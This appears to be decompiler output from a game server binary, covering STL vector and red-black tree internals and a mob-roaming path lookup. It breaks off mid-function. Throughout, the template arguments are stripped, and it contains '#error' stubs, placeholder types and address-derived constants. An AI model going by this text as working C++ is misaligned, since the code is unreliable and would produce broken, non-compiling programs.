std::_Tree,std::allocator,0> > *v4; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@1 std::_Tree,std::allocator,0> >::iterator *v7; // eax@3 std::_Tree_nod,std::allocator,0> >::_Node *_Keyvala; // [sp+Ch] [bp+8h]@1 v3 = _Keyval; v4 = this; v5 = std::_Tree_std::allocator_0>>::_Lbound( this, _Keyval); v6 = v4->_Myhead; _Keyvala = v5; if ( v5 == v6 || MobRoaming::MobRoamingPath::operator<(v3, &v5->_Myval) ) { v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } else { v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Keyvala; } return v7; } //----- (004850D0) -------------------------------------------------------- MobRoaming::PathElement *__thiscall std::vector>::_Ufill(std::vector > *this, MobRoaming::PathElement *_Ptr, unsigned int _Count, MobRoaming::PathElement *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00485100) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00485170) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 #331 **v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::list,std::allocator > >::iterator *v8; // ST04_4@7 std::list,std::allocator > >::iterator *v9; // ST00_4@7 #331 **v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *v12; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x3FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 4 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::list,std::allocator > >::iterator *)v2->_Mylast; v9 = (std::list,std::allocator > >::iterator *)v2->_Myfirst; v12 = v6; v14 = 0; std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v9, v8, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (#331 **)((char *)v7 + _Counta); v2->_Mylast = (#331 **)((char *)v7 + 4 * v4); v2->_Myfirst = (#331 **)v7; } } //----- (0048522A) -------------------------------------------------------- void __usercall _L151336(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00485240) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MobRoaming::PathElement *_Val) { std::vector > *v4; // ebx@1 MobRoaming::PathElement *v5; // edi@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 int v8; // eax@6 int v9; // eax@11 int v10; // ecx@15 int v11; // eax@18 int v12; // edi@22 void *v13; // eax@22 std::vector >::const_iterator v14; // ecx@22 int v15; // eax@22 unsigned int v16; // esi@24 void *v17; // eax@26 char *v18; // esi@26 std::vector >::const_iterator v19; // ecx@27 std::vector >::iterator v20; // edi@27 MobRoaming::PathElement *v21; // ecx@28 MobRoaming::PathElement *v22; // ST20_4@28 unsigned int v23; // esi@28 int v24; // [sp+0h] [bp-54h]@1 MobRoaming::PathElement *_Ptr; // [sp+Ch] [bp-48h]@22 void *_Newvec; // [sp+10h] [bp-44h]@22 MobRoaming::PathElement _Tmp; // [sp+14h] [bp-40h]@1 unsigned int cookie; // [sp+40h] [bp-14h]@30 int *v29; // [sp+44h] [bp-10h]@1 int v30; // [sp+50h] [bp-4h]@22 MobRoaming::PathElement *_Wherea; // [sp+5Ch] [bp+8h]@29 MobRoaming::PathElement *_Vala; // [sp+64h] [bp+10h]@27 v4 = this; memcpy(&_Tmp, _Val, 0x28u); *(_WORD *)&_Tmp.EventIndex[30] = *(_WORD *)&_Val->EventIndex[30]; v5 = this->_Myfirst; v29 = &v24; if ( v5 ) { v7 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)this->_Myend - (char *)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1189].esc_skill.buffer[-v8 + 26250] < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v19 = (std::vector >::const_iterator)v4->_Mylast; v20 = _Where; _Vala = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 42 >= _Count ) { _Wherea = (MobRoaming::PathElement *)(*(_DWORD *)&v19 - 42 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - 42 * _Count), v19, *(MobRoaming::PathElement **)&v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(v19.___u0.baseclass_0.baseclass_0.dummy[0] - 42 * _Count)); std::copy_backward( *(MobRoaming::PathElement **)&v20, _Wherea, _Vala); std::fill( *(MobRoaming::PathElement **)&v20, (MobRoaming::PathElement *)(*(_DWORD *)&v20 + 42 * _Count), &_Tmp); } else { std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( _Where.baseclass_0, v19, (MobRoaming::PathElement *)(*(_DWORD *)&_Where + 42 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(42 * _Count)); v21 = v4->_Mylast; v22 = v4->_Mylast; v30 = 2; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 42, &_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (MobRoaming::PathElement *)v23; std::fill( *(MobRoaming::PathElement **)&_Where, (MobRoaming::PathElement *)(v23 - 42 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1189].esc_skill.buffer[-(v6 >> 1) + 26250] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); v12 = 42 * v10; v13 = operator new(42 * v10); v14 = (std::vector >::const_iterator)v4->_Myfirst; _Newvec = v13; v30 = 0; _Ptr = std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( v14, _Where.baseclass_0, (MobRoaming::PathElement *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, _Count, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Ptr[_Count], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v15 = (int)v4->_Myfirst; if ( v15 ) v15 = (signed int)((char *)v4->_Mylast - v15) / 42; v16 = v15 + _Count; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v17 = _Newvec; v18 = (char *)_Newvec + 42 * v16; v4->_Myend = (MobRoaming::PathElement *)((char *)_Newvec + v12); v4->_Mylast = (MobRoaming::PathElement *)v18; v4->_Myfirst = (MobRoaming::PathElement *)v17; } } __security_check_cookie(cookie); } //----- (004854E0) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { MobRoaming::PathElement *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // edi@2 signed int v5; // edx@3 unsigned int v6; // edi@7 void *v7; // eax@7 std::vector >::const_iterator v8; // ecx@7 std::vector >::const_iterator v9; // ST00_4@7 int v10; // [sp+0h] [bp-20h]@1 std::vector > *v11; // [sp+Ch] [bp-14h]@1 int *v12; // [sp+10h] [bp-10h]@1 int v13; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v12 = &v10; v11 = this; if ( v2 ) { v5 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)_Right->_Mylast - (char *)v2)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( v4 > (unsigned int)&wholesaver.ws_savestore[1189].esc_skill.buffer[26250] ) std::vector>::_Xlen(this); v6 = 42 * v4; v7 = operator new(v6); v3->_Myfirst = (MobRoaming::PathElement *)v7; v3->_Mylast = (MobRoaming::PathElement *)v7; v3->_Myend = (MobRoaming::PathElement *)((char *)v7 + v6); v8 = (std::vector >::const_iterator)_Right->_Mylast; v9 = (std::vector >::const_iterator)_Right->_Myfirst; v13 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_MobRoaming::PathElement___std::allocator>( v9, v8, (MobRoaming::PathElement *)v7, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00485591) -------------------------------------------------------- void __usercall _L151874(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator_std::allocator_0>>::_Node::__Node(std::_Tree_nod,std::allocator,0> >::_Node *this) { std::_Tree_nod,std::allocator,0> >::_Node *v1; // esi@1 v1 = this; if ( this->_Myval.baseclass_0._Myfirst ) operator delete(this->_Myval.baseclass_0._Myfirst); v1->_Myval.baseclass_0._Myfirst = 0; v1->_Myval.baseclass_0._Mylast = 0; v1->_Myval.baseclass_0._Myend = 0; } //----- (004855E0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, MobRoaming::PathElement *_Val) { std::vector > *v4; // edi@1 MobRoaming::PathElement *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(818089009i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00485650) -------------------------------------------------------- void __thiscall MobRoaming::MobsInRoaming::MobsInRoaming(MobRoaming::MobsInRoaming *this) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; std::vector>::reserve( &this->baseclass_0, 0x1Eu); } //----- (004856A0) -------------------------------------------------------- #error "4856A0: undefined or illegal type '#331' (funcsize=24)" //----- (004856E0) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingPath::MobRoamingPath(MobRoaming::MobRoamingPath *this, ORToken *groupname) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; *(_QWORD *)&this->mrp_GroupName.ort_Name[12] = 0i64; *(_QWORD *)&this->mrp_GroupName.ort_Name[4] = 0i64; *(_DWORD *)&this->mrp_GroupName.ort_Name[0] = 0; *(_QWORD *)&this->mrp_GroupName.ort_Name[0] = *(_QWORD *)&groupname->ort_Name[0]; *(_QWORD *)&this->mrp_GroupName.ort_Name[8] = *(_QWORD *)&groupname->ort_Name[8]; *(_DWORD *)&this->mrp_GroupName.ort_Name[16] = *(_DWORD *)&groupname->ort_Name[16]; } //----- (00485720) -------------------------------------------------------- MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Get(MobRoaming::MobRoamingSet *this, ORToken *groupname) { MobRoaming::MobRoamingSet *v2; // esi@1 int v3; // ecx@1 unsigned int v4; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // eax@1 int v6; // esi@1 ORToken **v7; // eax@3 ORToken *v8; // eax@5 MobRoaming::MobRoamingPath *v9; // esi@6 MobRoaming::MobRoamingPath *result; // eax@6 int v11; // [sp+8h] [bp-34h]@4 MobRoaming::MobRoamingPath _Keyval; // [sp+Ch] [bp-30h]@1 int v13; // [sp+38h] [bp-4h]@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRoaming::MobRoamingSet::mrs_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRoaming::MobRoamingSet::mrs_Get"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; _Keyval.baseclass_0._Myfirst = 0; _Keyval.baseclass_0._Mylast = 0; _Keyval.baseclass_0._Myend = 0; v3 = *(_DWORD *)&groupname->ort_Name[4]; *(_DWORD *)&_Keyval.mrp_GroupName.ort_Name[0] = *(_DWORD *)&groupname->ort_Name[0]; v4 = *(_DWORD *)&groupname->ort_Name[8]; *(_DWORD *)&_Keyval.mrp_GroupName.ort_Name[4] = v3; *(_QWORD *)&_Keyval.mrp_GroupName.ort_Name[8] = __PAIR__(*(_DWORD *)&groupname->ort_Name[12], v4); *(_DWORD *)&_Keyval.mrp_GroupName.ort_Name[16] = *(_DWORD *)&groupname->ort_Name[16]; v5 = std::_Tree_std::allocator_0>>::_Lbound( &v2->baseclass_0.baseclass_0, &_Keyval); v6 = (int)v2->baseclass_0.baseclass_0._Myhead; groupname = (ORToken *)v5; if ( v5 == (std::_Tree_nod,std::allocator,0> >::_Node *)v6 || MobRoaming::MobRoamingPath::operator<(&_Keyval, &v5->_Myval) ) { v11 = v6; v7 = (ORToken **)&v11; } else { v7 = &groupname; } v8 = *v7; --funcallanalizer.fca_stackpoint; v13 = -1; if ( v8 == (ORToken *)v6 ) { FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRoaming::MobRoamingSet::mrs_Get"); result = 0; } else { v9 = (MobRoaming::MobRoamingPath *)&v8->ort_Name[12]; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRoaming::MobRoamingSet::mrs_Get"); result = v9; } return result; } //----- (00485840) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, MobRoaming::PathElement *_Val) { std::vector > *v2; // esi@1 MobRoaming::PathElement *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 MobRoaming::PathElement *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(818089009i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (004858D0) -------------------------------------------------------- void __thiscall std::_Tree_nod_std::allocator_0>>::_Node::_Node(std::_Tree_nod,std::allocator,0> >::_Node *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg) { std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@1 char *v7; // edi@1 v6 = this; this->_Parent = _Parg; v7 = (char *)&this->_Myval; this->_Left = _Larg; this->_Right = _Rarg; std::vector>::vector>( &this->_Myval.baseclass_0, &_Val->baseclass_0); v7 += 16; *(_QWORD *)v7 = *(_QWORD *)&_Val->mrp_GroupName.ort_Name[0]; *((_QWORD *)v7 + 1) = *(_QWORD *)&_Val->mrp_GroupName.ort_Name[8]; *((_DWORD *)v7 + 4) = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[16]; v6->_Color = _Carg; v6->_Isnil = 0; } //----- (00485930) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, MobRoaming::MobRoamingPath *_Val, char _Carg) { void *v6; // esi@1 int v8; // [sp+0h] [bp-24h]@1 void *v9; // [sp+Ch] [bp-18h]@1 void *_Wherenode; // [sp+10h] [bp-14h]@1 int *v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v11 = &v8; v6 = operator new(0x34u); _Wherenode = v6; v12 = 0; v9 = v6; LOBYTE(v12) = 1; if ( v6 ) std::_Tree_nod_std::allocator_0>>::_Node::_Node( (std::_Tree_nod,std::allocator,0> >::_Node *)v6, _Larg, _Parg, _Rarg, _Val, _Carg); return (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } //----- (004859C0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, MobRoaming::MobRoamingPath *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)&wholesaver.ws_savestore[1405].esc_abstate.buffer[7406] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 48) = 1; *(_BYTE *)(v14 + 48) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 48) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00485B70) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree,std::allocator,0> >::iterator v4; // ebp@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 std::_Tree,std::allocator,0> > *v15; // ecx@37 int v16; // eax@39 bool v17; // zf@54 unsigned int v18; // eax@62 std::_Tree,std::allocator,0> >::iterator *v19; // eax@64 std::_Tree,std::allocator,0> > *v20; // [sp+8h] [bp-54h]@1 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v23; // [sp+58h] [bp-4h]@2 v3 = this; v20 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 49) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v23 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&_Where); if ( *(_BYTE *)(**(_DWORD **)&v4 + 49) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v10; } v11 = v20->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 49) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 48); *(_BYTE *)(*(_DWORD *)&v6 + 48) = *(_BYTE *)(*(_DWORD *)&v4 + 48); *(_BYTE *)(*(_DWORD *)&v4 + 48) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&v4 + 48) == 1 ) { v15 = v20; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v20->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 48) != 1 ) break; v16 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v16 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v16 + 48) ) { *(_BYTE *)(v16 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v16 = *(_DWORD *)(*(_DWORD *)&v7 + 8); v15 = v20; } if ( *(_BYTE *)(v16 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v16 + 48) != 1 || *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)v16 + 48) = 1; *(_BYTE *)(v16 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v15, (std::_Tree_nod,std::allocator,0> >::_Node *)v16); v16 = *(_DWORD *)(*(_DWORD *)&v7 + 8); v15 = v20; } *(_BYTE *)(v16 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) = 1; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if 